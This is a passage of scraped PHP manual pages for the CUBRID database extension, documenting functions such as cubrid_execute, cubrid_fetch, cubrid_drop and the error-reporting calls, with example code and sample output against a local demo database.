$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

See Also

  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Get OID of the current cursor location

  • « cubrid_connect
  • cubrid_disconnect »
  • PHP Manual
  • CUBRID Functions
  • Get OID of the current cursor location

cubrid_current_oid

(PECL CUBRID >= 8.3.0)

cubrid_current_oid — Get OID of the current cursor location

Description

string cubrid_current_oid ( resource $req_identifier )

The cubrid_current_oid() function is used to get the oid of the current cursor location from the query result. To use cubrid_current_oid(), the query executed must be a updatable query, and the CUBRID_INCLUDE_OID option must be included during the query execution.

Parameters

req_identifier

Request identifier.

Return Values

Oid of current cursor location, when process is successful

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_current_oid() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$res = cubrid_get($conn, $oid);

print_r($res);

cubrid_disconnect($conn);
?>

The above example will output:

Array
(
    [s_name] => X
    [f_name] => Mixed
)

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Close a database connection

  • « cubrid_current_oid
  • cubrid_drop »
  • PHP Manual
  • CUBRID Functions
  • Close a database connection

cubrid_disconnect

(PECL CUBRID >= 8.3.0)

cubrid_disconnect — Close a database connection

Description

bool cubrid_disconnect ([ resource $conn_identifier ] )

The cubrid_disconnect() function closes the connection handle and disconnects from server. If any request handle is not closed at this point, it will be closed. It is similar to the CUBRID MySQL compatible function cubrid_close().

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_disconnect() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
   echo "connected successfully";

   $req = cubrid_execute( $con, "create table person(id int,name char(10))");
   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }

   $req = cubrid_execute( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close() - Close CUBRID connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Delete an instance using OID

  • « cubrid_disconnect
  • cubrid_error_code_facility »
  • PHP Manual
  • CUBRID Functions
  • Delete an instance using OID

cubrid_drop

(PECL CUBRID >= 8.3.0)

cubrid_drop — Delete an instance using OID

Description

bool cubrid_drop ( resource $conn_identifier , string $oid )

The cubrid_drop() function is used to delete an instance from database by using the oid of the instance.

Parameters

conn_identifier

Connection identifier.

oid

Oid of the instance that you want to delete.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("--- Before Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

if (cubrid_drop($conn, $oid)) {
    cubrid_commit($conn);
} else {
    cubrid_rollback($conn);
}

cubrid_close_request($req);

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("\n--- After Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

--- Before Drop: ---
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

--- After Drop: ---
array(4) {
  ["a"]=>
  string(1) "2"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "4"
    [1]=>
    string(1) "5"
    [2]=>
    string(1) "7"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "44"
    [1]=>
    string(2) "55"
    [2]=>
    string(2) "66"
    [3]=>
    string(3) "666"
  }
  ["d"]=>
  string(10) "b         "
}

See Also

  • cubrid_is_instance() - Check whether the instance pointed by OID exists

User Contributed Notes

There are no user contributed notes for this page.


Get the facility code of error

  • « cubrid_drop
  • cubrid_error_code »
  • PHP Manual
  • CUBRID Functions
  • Get the facility code of error

cubrid_error_code_facility

(PECL CUBRID >= 8.3.0)

cubrid_error_code_facility — Get the facility code of error

Description

int cubrid_error_code_facility ( void )

The cubrid_error_code_facility() function is used to get the facility code (level in which the error occurred) from the error code of the error that occurred during the API execution. Usually, you can get the error code when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Facility code of the error code that occurred: CUBRID_FACILITY_DBMS, CUBRID_FACILITY_CAS, CUBRID_FACILITY_CCI, CUBRID_FACILITY_CLIENT

Examples

Example #1 cubrid_error_code_facility() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = @cubrid_execute($conn, "SELECT * FROM unknown");
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 1
Error code: -493
Error msg: Syntax: In line 1, column 15 before END OF STATEMENT
Syntax error: unexpected 'unknown'

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get error code for the most recent function call

  • « cubrid_error_code_facility
  • cubrid_error_msg »
  • PHP Manual
  • CUBRID Functions
  • Get error code for the most recent function call

cubrid_error_code

(PECL CUBRID >= 8.3.0)

cubrid_error_code — Get error code for the most recent function call

Description

int cubrid_error_code ( void )

The cubrid_error_code() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Error code of the error that occurred, or 0 (zero) if no error occurred.

Examples

Example #1 cubrid_error_code() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_prepare($conn , "SELECT * FROM code WHERE s_name=?");

$req = @cubrid_execute($req);
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 4
Error code: -30015
Error msg: Some parameter not binded

See Also

  • cubrid_error_code_facility() - Get the facility code of error
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get last error message for the most recent function call

  • « cubrid_error_code
  • cubrid_execute »
  • PHP Manual
  • CUBRID Functions
  • Get last error message for the most recent function call

cubrid_error_msg

(PECL CUBRID >= 8.3.0)

cubrid_error_msg — Get last error message for the most recent function call

Description

string cubrid_error_msg ( void )

The cubrid_error_msg() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

Parameters

This function has no parameters.

Return Values

Error message that occurred.

Examples

Example #1 cubrid_error_msg() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

if (!@cubrid_schema($conn, 100000)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

The above example will output:

Error facility: 2
Error code: -10015
Error msg: Invalid T_CCI_SCH_TYPE value

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


Execute a prepared SQL statement

  • « cubrid_error_msg
  • cubrid_fetch »
  • PHP Manual
  • CUBRID Functions
  • Execute a prepared SQL statement

cubrid_execute

(PECL CUBRID >= 8.3.0)

cubrid_execute — Execute a prepared SQL statement

Description

resource cubrid_execute ( resource $conn_identifier , string $sql [, int $option ] )
bool cubrid_execute ( resource $request_identifier [, int $option ] )

The cubrid_execute() function is used to execute the given SQL statement. It executes the query by using conn_identifier and SQL, and then returns the request identifier created. It is used for simple execution of query, where the parameter binding is not needed. In addition, the cubrid_execute() function is used to execute the prepared statement by means of cubrid_prepare() and cubrid_bind(). At this time, you need to specify arguments of request_identifier and option.

The option is used to determine whether to get OID after query execution and whether to execute the query in synchronous or asynchronous mode. CUBRID_INCLUDE_OID and CUBRID_ASYNC (or CUBRID_EXEC_QUERY_ALL if you want to execute multiple SQL statements) can be specified by using a bitwise OR operator. If not specified, neither of them isselected. If the flag CUBRID_EXEC_QUERY_ALL is set, a synchronous mode (sync_mode) is used to retrieve query results, and in such cases the following rules are applied:

  • The return value is the result of the first query.
  • If an error occurs in any query, the execution is processed as a failure.
  • In a query composed of q1 q2 q3, if an error occurs in q2 after q1 succeeds the execution, the result of q1 remains valid. That is, the previous successful query executions are not rolled back when an error occurs.
  • If a query is executed successfully, the result of the second query can be obtained using cubrid_next_result().

If the first argument is request_identifier to execute the cubrid_prepare() function, you can specify an option, CUBRID_ASYNC only.

Parameters

conn_identifier

Connection identifier.

sql

SQL to be executed.

option

Query execution option CUBRID_INCLUDE_OID, CUBRID_ASYNC, CUBRID_EXEC_QUERY_ALL.

request_identifier

cubrid_prepare() identifier.

Return Values

Request identifier, when process is successful and first param is conn_identifier; TRUE, when process is successful and first argument is request_identifier.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.4.0 | Add new option CUBRID_EXEC_QUERY_ALL.

Examples

Example #1 cubrid_execute() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE name='100m Butterfly' and gender='M'", CUBRID_ASYNC);
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$history_req = cubrid_prepare($conn, "SELECT * FROM history WHERE event_code=?");
cubrid_bind($history_req, 1, $event_code, "number");
cubrid_execute($history_req);

printf("%-20s %-9s %-10s %-5s\n", "athlete", "host_year", "score", "unit");
while ($row = cubrid_fetch_array($history_req, CUBRID_ASSOC)) {
    printf("%-20s %-9s %-10s %-5s\n",
        $row["athlete"], $row["host_year"], $row["score"], $row["unit"]);
}

cubrid_close_request($history_req);

cubrid_disconnect($conn);
?>

The above example will output:

athlete              host_year score      unit
Phelps Michael       2004      51.25      time

See Also

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_bind() - Bind variables to a prepared statement as parameters
  • cubrid_next_result() - Get result of next query when executing multiple SQL statements
  • cubrid_close_request() - Close the request handle
  • cubrid_commit() - Commit a transaction
  • cubrid_rollback() - Roll back a transaction

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row from a result set

  • « cubrid_execute
  • cubrid_free_result »
  • PHP Manual
  • CUBRID Functions
  • Fetch the next row from a result set

cubrid_fetch

(PECL CUBRID >= 8.3.0)

cubrid_fetch — Fetch the next row from a result set

Description

mixed cubrid_fetch ( resource $result [, int $type = CUBRID_BOTH ] )

The cubrid_fetch() function is used to get a single row from the query result. The cursor automatically moves to the next row after getting the result.

Parameters

result

result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH, CUBRID_OBJECT. If you want to operate the lob object, you can use CUBRID_LOB.

Return Values

Result array or object, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

The result can be received either as an array or as an object, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)
  • CUBRID_OBJECT : object that has the attribute name as the column name of query result

When type argument is omitted, the result will be received using CUBRID_BOTH option as default. When you want to receive query result in object data type, the column name of the result must obey the naming rules for identifiers in PHP. For example, column name such as "count(*)" cannot be received in object type.

Examples

Example #1 cubrid_fetch() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT * FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate lob object, you can use cubrid_fetch($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetche the next row and returns it as an object

User Contributed Notes

There are no user contributed notes for this page.


Free the memory occupied by the result data

  • « cubrid_fetch
  • cubrid_get_autocommit »
  • PHP Manual
  • CUBRID Functions
  • Free the memory occupied by the result data

cubrid_free_result

(PECL CUBRID >= 8.3.0)

cubrid_free_result — Free the memory occupied by the result data

Description

bool cubrid_free_result ( resource $req_identifier )

This function frees the memory occupied by the result data. It returns TRUE on success or FALSE on failure. Note that it can only frees the client fetch buffer now, and if you want free all memory, use function cubrid_close_request().

Parameters

req_identifier

This is the request identifier.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_free_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM history WHERE host_year=2004 ORDER BY event_code");
$row = cubrid_fetch_assoc($req);
var_dump($row);

cubrid_free_result($req);
cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(5) {
  ["event_code"]=>
  string(5) "20005"
  ["athlete"]=>
  string(12) "Hayes Joanna"
  ["host_year"]=>
  string(4) "2004"
  ["score"]=>
  string(5) "12.37"
  ["unit"]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.


Get auto-commit mode of the connection

  • « cubrid_free_result
  • cubrid_get_charset »
  • PHP Manual
  • CUBRID Functions
  • Get auto-commit mode of the connection

cubrid_get_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_get_autocommit — Get auto-commit mode of the connection

Description

bool cubrid_get_autocommit ( resource $conn_identifier )

The cubrid_get_autocommit() function is used to get the status of CUBRID database connection auto-commit mode.

For CUBRID 8.4.0, auto-commit mode is disabled by default for transaction management.

For CUBRID 8.4.1, auto-commit mode is enabled by default for transaction management.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when auto-commit is on.

FALSE, when auto-commit is off.

NULL on error.

See Also

  • cubrid_set_autocommit() - Set autocommit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

  • « cubrid_get_autocommit
  • cubrid_get_class_name »
  • PHP Manual
  • CUBRID Functions
  • Return the current CUBRID connection charset

cubrid_get_charset

(PECL CUBRID >= 8.3.0)

cubrid_get_charset — Return the current CUBRID connection charset

Description

string cubrid_get_charset ( resource $conn_identifier )

This function returns the current CUBRID connection charset and is similar to the CUBRID MySQL compatible function cubrid_client_encoding().

Parameters

conn_identifier

The CUBRID connection.

Return Values

A string that represents the CUBRID connection charset; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_charset() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_get_charset($con));

?>

The above example will output:

CUBRID current charset: iso8859-1

See Also

  • cubrid_client_encoding() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Get the class name using OID

  • « cubrid_get_charset
  • cubrid_get_client_info »
  • PHP Manual
  • CUBRID Functions
  • Get the class name using OID

cubrid_get_class_name

(PECL CUBRID >= 8.3.0)

cubrid_get_class_name — Get the class name using OID

Description

string cubrid_get_class_name ( resource $conn_identifier , string $oid )

The cubrid_get_class_name() function is used to get the class name from oid. It doesn't work when selecting data from the system tables, for example db_class.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

Return Values

Class name when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_get_class_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$class_name = cubrid_get_class_name($conn, $oid);

print_r($class_name);

cubrid_disconnect($conn);
?>

The above example will output:

code

See Also

  • cubrid_is_instance() - Check whether the instance pointed by OID exists
  • cubrid_drop() - Delete an instance using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the client library version

  • « cubrid_get_class_name
  • cubrid_get_db_parameter »
  • PHP Manual
  • CUBRID Functions
  • Return the client library version

cubrid_get_client_info

(PECL CUBRID >= 8.3.0)

cubrid_get_client_info — Return the client library version

Description

string cubrid_get_client_info ( void )

This function returns a string that represents the client library version.

Parameters

Return Values

A string that represents the client library version; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_client_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Returns the CUBRID database parameters

  • « cubrid_get_client_info
  • cubrid_get_query_timeout »
  • PHP Manual
  • CUBRID Functions
  • Returns the CUBRID database parameters

cubrid_get_db_parameter

(PECL CUBRID >= 8.3.0)

cubrid_get_db_parameter — Returns the CUBRID database parameters

Description

array cubrid_get_db_parameter ( resource $conn_identifier )

This function returns the CUBRID database parameters or it returns FALSE on failure. It returns an associative array with the values for the following parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT
  • PARAM_MAX_STRING_LENGTH
  • PARAM_AUTO_COMMIT

Database parameters
Parameter | Description
PARAM_ISOLATION_LEVEL | The transaction isolation level.
LOCK_TIMEOUT | CUBRID provides the lock timeout feature, which sets the waiting time (in seconds) for the lock until the transaction lock setting is allowed. The default value of the lock_timeout_in_secs parameter is -1, which means the application client will wait indefinitely until the transaction lock is allowed.
PARAM_AUTO_COMMIT | In CUBRID PHP, auto-commit mode is disabled by default for transaction management. It can be set by using cubrid_set_autocommit().

The following table shows the isolation levels from 1 to 6. It consists of table schema (row) and isolation level:

Levels of Isolation Supported by CUBRID
Name | Description
SERIALIZABLE (6) | In this isolation level, problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.
REPEATABLE READ CLASS with REPEATABLE READ INSTANCES (5) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience phantom read for the record R that was inserted by another transaction T2 when it is repeatedly retrieving a specific record.
REPEATABLE READ CLASS with READ COMMITTED INSTANCES (or CURSOR STABILITY) (4) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R read (non-repeatable read) that was updated and committed by another transaction T2 when it is repeatedly retrieving the record R.
REPEATABLE READ CLASS with READ UNCOMMITTED INSTANCES (3) | Default isolation level. Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.
READ COMMITTED CLASS with READ COMMITTED INSTANCES (2) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is viewing table A repeatedly. Transaction T1 may experience R' read (non-repeatable read) for the record that was updated and committed by another transaction T2 while it is retrieving the record R repeatedly.
READ COMMITTED CLASS with READ UNCOMMITTED INSTANCES (1) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is repeatedly viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

Return Values

An associative array with CUBRID database parameters; on success.

FALSE on failure.

Changelog

Version | Description
8.4.0 | Change LOCK_TIMEOUT to PARAM_LOCK_TIMEOUT, and MAX_STRING_LENGTH to PARAM_MAX_STRING_LENGTH in result.

Examples

Example #1 cubrid_get_db_parameter() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

See Also

  • cubrid_set_db_parameter() - Sets the CUBRID database parameters
  • cubrid_get_autocommit() - Get auto-commit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Get the query timeout value of the request

  • « cubrid_get_db_parameter
  • cubrid_get_server_info »
  • PHP Manual
  • CUBRID Functions
  • Get the query timeout value of the request

cubrid_get_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_get_query_timeout — Get the query timeout value of the request

Description

int cubrid_get_query_timeout ( resource $req_identifier )

The cubrid_get_query_timeout() function is used to get the query timeout of the request.

Parameters

req_identifier

Request identifier.

Return Values

Success: the query timeout value of the current request. Units of msec.

Failure: FALSE

Examples

Example #1 cubrid_get_query_timeout() example

<?php

$host = "localhost";
$port = 33000;
$db = "demodb";

$conn =
cubrid_connect_with_url("CUBRID:$host:$port:$db:::?login_timeout=50000&query_timeout=5000&disconnect_on_query_timeout=yes");

$req = cubrid_prepare($conn, "SELECT * FROM code");

$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_set_query_timeout($req, 1000);
$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_close($conn);
?>

The above example will output:

int(5000)
int(1000)

See Also

  • cubrid_set_query_timeout() - Set the timeout time of query execution

User Contributed Notes

There are no user contributed notes for this page.


Return the CUBRID server version

  • « cubrid_get_query_timeout
  • cubrid_get »
  • PHP Manual
  • CUBRID Functions
  • Return the CUBRID server version

cubrid_get_server_info

(PECL CUBRID >= 8.3.0)

cubrid_get_server_info — Return the CUBRID server version

Description

string cubrid_get_server_info ( resource $conn_identifier )

This function returns a string that represents the CUBRID server version.

Parameters

conn_identifier

The CUBRID connection.

Return Values

A string that represents the CUBRID server version; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_server_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Get a column using OID

  • « cubrid_get_server_info
  • cubrid_insert_id »
  • PHP Manual
  • CUBRID Functions
  • Get a column using OID

cubrid_get

(PECL CUBRID >= 8.3.0)

cubrid_get — Get a column using OID

Description

mixed cubrid_get ( resource $conn_identifier , string $oid [, mixed $attr ] )

The cubrid_get() function is used to get the attribute of the instance of the given oid. You can get single attribute by using string data type for the attr argument, or many attributes by using array data type for the attr argument.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr

Name of the attribute that you want to read.

Return Values

Content of the requested attribute, when process is successful; When attr is set with string data type, the result is returned as a string; when attr is set with array data type (0-based numerical array), then the result is returned in associative array. When attr is omitted, then all attributes are received in array form.

FALSE when process is unsuccessful or result is NULL (If error occurs to distinguish empty string from NULL, then it prints the warning message. You can check the error by using cubrid_error_code())

Examples

Example #1 cubrid_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

See Also

  • cubrid_put() - Update a column using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the ID generated for the last updated AUTO_INCREMENT column

  • « cubrid_get
  • cubrid_is_instance »
  • PHP Manual
  • CUBRID Functions
  • Return the ID generated for the last updated AUTO_INCREMENT column

cubrid_insert_id

(PECL CUBRID >= 8.3.0)

cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column

Description

string cubrid_insert_id ([ resource $conn_identifier ] )

The cubrid_insert_id() function retrieves the ID generated for the AUTO_INCREMENT column which is updated by the previous INSERT query. It returns 0 if the previous query does not generate new rows, or FALSE on failure.

Note:

